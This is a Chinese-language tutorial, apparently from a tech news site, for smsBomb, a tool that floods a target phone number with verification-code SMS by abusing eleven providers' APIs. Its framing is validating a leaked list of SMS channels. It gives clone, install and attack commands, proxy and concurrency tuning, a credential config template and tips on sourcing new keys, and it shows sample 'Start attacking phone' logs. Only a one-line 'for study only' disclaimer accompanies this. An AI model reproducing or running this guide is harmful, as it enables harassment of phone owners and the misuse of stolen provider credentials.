当前位置: 首页 > news >正文

smsBomb 短信轰炸机:11 家服务商,4 条命令跑通

smsBomb 短信轰炸机:11 家服务商,4 条命令跑通

【免费下载链接】smsBomb短信💣炸🐔项目地址: https://gitcode.com/gh_mirrors/sms/smsBomb

把一批泄露的短信通道一晚验完 📮

半夜有人把一份泄露的短信渠道清单丢过来,问这些通道现在还能不能发。逐家手写签名、改手机号、发请求验证,跑两家就得耗掉一下午。smsBomb 把这件事压成了一条命令:它把十余家短信服务商的发送接口封装成插件,从本地配置里按权重抽取通道,用多进程把验证码短信批量发出去,再用彩色日志标出每一步的结果。整台机器只有三层:插件、调度、日志。

先看懂这台机器的三层构造 ⚙️

干什么位置
插件层每个文件实现一家服务商的签名与发送,统一返回 True/FalsesmsBomb/plugins/下 11 个 .py
调度层加权随机抽节点、多进程并发、失败降权、失败率熔断smsBomb/smsBomb.py
输出层coloredlogs 按级别上色,格式固定为[级别 时间 模块:行号] 内容同上文件的setup_logger

把 smsBomb 想成一个快递调度中心:config/sms.json里的每个节点是一个快递站点,短信是包裹,weight 是分配给该站点的派件份额。节点"退件"(请求失败)不会直接报废,份额被调低一档;调到 0 就进停用名单;所有节点都停用时,调度中心还会把名单翻出来重新派一遍。

插件这边,它做的事其实很简单——配置里写product: "aliyun",程序就去加载对应插件并调用它的 send 方法。技术上这叫插件化(plugin architecture),plugins/aliyun.py 里能看到从拼参数到 HMAC-SHA1 签名的完整实现。选节点那步做的事其实很简单——把每个节点按 weight 复制若干份放进池子,随机抽一份。技术上这叫加权随机选择(weighted random selection),实现在SmsBomb._random_weight_select里。另外还有一条保命红线:失败次数除以目标次数,超过 0.95 就停手。技术上这叫熔断(circuit breaker),阈值写死在max_allowed_failed_rate字段。

从克隆到跑通只要 4 条命令 🚀

环境要求 Python 3.6 及以上,不兼容 2.x;多版本机器建议用 PyEnv 或 Anaconda 隔离一个干净环境。

跑完这一步,本地应出现 smsBomb 目录,里面有configsmsBomb两个关键子目录。

git clone https://gitcode.com/gh_mirrors/sms/smsBomb

这一步把 11 个服务商插件和 19 个示例节点配置全部拿到手。

这一步没有输出,跑完当前路径应停在仓库根目录。

cd smsBomb

默认配置路径config/sms.json是相对当前目录解析的,不在根目录跑会直接报"配置不可为空"。

装完终端只回显依赖安装成功的几行。

pip install -r requirements.txt

CLI 版依赖只有 requests 和 coloredlogs 两个包;GUI 依赖在requirements-gui.txt,需要时再装。

预期你会先看到 DEBUG 级的"成功加载配置文件",随后 INFO 级打印目标号码,日志开始滚动。

python -m smsBomb -t 13800138000 -n 3 -vv

-n 3表示只发 3 条,-vv打开 DEBUG 日志,第一次跑用它能把调度全过程看清;目标号码建议用自己的。完整参数面板如下,第一次用记住前两个就够:

参数作用默认值
-t / --target目标手机号,必填
-n / --times发送次数10
-p / --product指定服务商,如 netease全部节点加权随机
-c / --config配置文件路径config/sms.json
--process并发进程数5
-m / --message自定义短信内容,仅对enable_custom_msg: true的节点生效
-x / --proxyHTTP/HTTPS 代理自动读环境变量
-v / -vv / -vvv日志详细程度0(WARNING 起)

把彩色日志逐行读明白 🌈

日志由 coloredlogs 上色,颜色即级别:绿色 DEBUG、蓝或白 INFO、黄色 WARNING、红色 ERROR,扫一眼颜色就能判断程序状态。

-vvv跑一次,滚过去的日志大致长这样(从仓库截图节选):

[DEBUG 2018-05-31 11:29:17 root:26] 成功加载配置文件:config/sms.json,产品: None [INFO 2018-05-31 11:29:17 smsBomb.smsBomb:187] Start attacking phone: 138**** [DEBUG 2018-05-31 11:29:17 smsBomb.plugins.aliyun.AliyunPlugin:88] 拼接完成请求体: Signature=... [INFO 2018-05-31 11:29:17 smsBomb.plugins.aliyun.AliyunPlugin:92] {'Message': 'OK', 'Code': 'OK', ...} [DEBUG 2018-05-31 11:29:17 root:168] 攻击进度(成功数/期望攻击次数): 1/2 = 50.00%, ...

行尾的"模块名:行号"能直接定位到是哪一行代码打的这条日志,排查时非常好用。

你看到的行它实际在说
Start attacking phone: ...任务已入队,目标号码确认
拼接完成请求体: Signature=...插件完成签名,请求即将发出
{'Message': 'OK', 'Code': 'OK'}服务商接单,这条计为成功
节点{...}请求失败,尝试降低此配置的优先级该节点被降权 1 档并移入失败名单

详细程度由-v的个数控制,级别越往上调看得越多:

命令生效级别多出来的信息
不带-vWARNING节点失败警告、无可用配置提示
-vINFO任务开始/结束、服务商返回的 JSON
-vvDEBUG进度百分比、拼接完成的请求体
-vvvDEBUG(含 requests 库)连接建立等传输层细节

把 config/sms.json 的字段与节点权重拆开看 📦

这是整台机器唯一需要改的文件。它是一个 JSON 数组,每个元素代表一个可用节点:

字段类型含义
productstring产品名,必填,决定交给哪个插件处理
descstring人类可读的描述,随便写
sourcestring配置出处,便于溯源核对
authobject密钥键值对,key 名随服务商而变
payloadsobject提交的请求参数,模板、签名等
apistring请求地址,不写则用插件内置默认值
methodstring请求方式,默认 GET
weightint派单权重,默认 1,越大越常被选中;0 表示停用
enable_custom_msgbool是否把-m的内容当短信正文发,默认 false

哪些能直接用:productpayloadsapi的结构可以照抄现有示例;哪些必须改:auth里的密钥。仓库自带的这份配置年久失修,除阿里云外多数节点已失效,README 自己也承认了,需要按source字段给的线索或自行检索新的密钥补进去。

新增节点照下面这份骨架填,填完丢回数组即可:

{ "product": "aliyun", "auth": {"app_key": "你的AccessKeyId", "app_secret": "你的Secret"}, "payloads": { "template_code": "SMS_114035014", // 模板编号,来自服务商后台 "sign_name": "你的签名", "template_params": {"code": "123456"} } }

product写成 aliyun 后,程序会自动交给 AliyunPlugin 处理,签名和请求体拼装都不用你管。要接完全没有插件的小众服务商,就用product: "normal",在payloads里用{{mobile}}{{content}}占位符,替换逻辑在plugins/normal.py里。

把速度、代理和回调调到顺手 ⚡

默认 5 个进程、10 次发送,想快一点只需要动两个参数。

把并发进程数拉起来

进程数会自动取"你设的值"和"发送次数"中的较小者,不会多开无用进程。

跑完这一步,终端应看到多个 worker 交替输出请求日志,总耗时明显缩短。

python -m smsBomb -t 13800138000 -n 20 --process 8 -vv

把请求挂上 HTTP 代理

不传-x时程序自动读HTTP_PROXYHTTPS_PROXY环境变量,两者都没有才直连。

预期你会看到请求经由代理发出,-vvv下连接日志里会出现代理地址。

python -m smsBomb -t 13800138000 -n 3 -x http://127.0.0.1:7890 -vv

把进度回调接进自己的系统

start()每完成一次派单就会调一次内置回调(往日志里打进度),传入自己的函数即可替换,参数是(成功数, 失败数, 总数, finished)。

这段代码嵌进你自己的脚本里,跑完会多出一行汇总,方便对接监控系统。

def my_cb(success, failed, total, finished=False): if finished: print("done: success=%d failed=%d" % (success, failed)) sms_bomb.start(cb=my_cb)

不想敲命令,还有一条python -m smsBomb.gui能打开 Kivy 图形界面:填号码、次数、进程数,点按钮开跑,进度条直接画在界面上。作者标注过 GUI 未经严格测试,正式操作还是建议走命令行。

把常见报错一次对号入座 🧯

出问题时先盯日志里黄色和红色的行,下表覆盖最高频的几种情况:

现象原因对策
报"短信轰炸机配置不可为空"配置文件为空数组,或-c指到的路径不存在python -m json.tool config/sms.json验证内容,换存在的-c路径
日志出现"无此插件:XxxPlugin,跳过"product与插件类名对不上(类名 = 产品名首字母大写 + Plugin)把 product 改成plugins/下已有的插件文件名
日志出现"没有可用配置可供使用",任务提前结束节点密钥全部失效,权重被逐一降到 0替换 auth 与 payloads,把 weight 改回 1
日志只有寥寥几行,看不到进度默认级别是 WARNING,进度行在 DEBUG-vv
HTTP 返回 200 却被判失败各插件按响应体判成败(如阿里云要求Code == 'OK'),200 不等于发成功-vv看该节点返回的 JSON,按服务商错误码定位
GUI 里日志不显示Kivy 收集控制台输出的已知限制用同样参数回 CLI 排查

回到那批待验证的通道 🎬

开头那批通道清单,现在只需要把新密钥填进config/sms.json,跑一条带-vv的命令,日志里就能看到每个节点被逐一判定的过程。想继续往下读,从 smsBomb/smsBomb.py 的加权随机与 95% 熔断逻辑看起,再翻plugins/aliyun.py的签名实现,关键路径基本就覆盖了。

⚠️ 仅供学习研究,请勿用于非法用途。

【免费下载链接】smsBomb短信💣炸🐔项目地址: https://gitcode.com/gh_mirrors/sms/smsBomb

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

http://www.cnnetsun.cn/news/4146624.html

相关文章:

  • GetQzonehistory:把 QQ 空间历年说说批量导出为 Excel 与图片的方法
  • 2026年中央供料设备管理平台大揭秘,这些亮点你不能错过!
  • 自我改进智能体的脆弱性:方差、任务顺序与欠指定的影响分析
  • AI与数学双向赋能:从理论框架到工程实践指南
  • 一站式穿搭集合店2026女人街性价比优质女装推荐
  • 美赛备战指南:从信息降噪到模型构建的系统性方法论
  • 从脚本到智能流水线:构建现代化自动翻译模组的工程实践
  • DM 数据库位图索引创建指南:提升查询性能的关键技术
  • 旧监控系统如何接入智能声光告警?Webhook、自定义 API 与邮件监控实践
  • Python退伍军人招聘平台开发与毕业设计实践
  • Replit设计马拉松获奖项目技术解析与全栈应用实践指南
  • PDF文件合并实战指南:从免费工具到Python脚本全解析
  • DeepSeek Harness深度体验:从AI聊天框到智能开发工作台的演进与实践
  • 美团大模型应用开发面试核心考点解析
  • Grok Bot与Hermes表面越来越像 架构层却在押注完全不同的未来
  • 如何快速导出微信聊天记录:WeChatMsg 完整指南
  • LangGraph实战:构建本地多智能体代码生成与审查系统
  • 美赛72小时决胜关键:建模思维与零故障工具链预演
  • EDITBRIDGE:突破高分辨率图像AI编辑的显存与保真度瓶颈
  • 10分钟看懂黑盒日志:用PIDtoolbox把PID调参问题摊在屏幕上
  • 学术生产力提升的实用路径与高效方法探究
  • 中科热备:备份一体机软硬一体设备拆解
  • 目前测试稳定可靠的DC-DC芯片测试座工厂多种结构
  • Java面试全攻略:从基础到高阶的实战技巧
  • Vue.NetCore 快速开发指南:一个代码生成器搞定前后端 CRUD 与审批流
  • 基于TEE与LLM的隐私保护审计:Agentic Witnessing架构与实践
  • 蓝牙耳机多模式降噪技术解析:从原理到选购指南
  • 【Android】DataStore
  • 用 Whisper 搞定离线语音转文本:Flutter 跨平台完整指南
  • java连接linux Java秒连Linux!SSH远程控制,服务器管理爽到飞起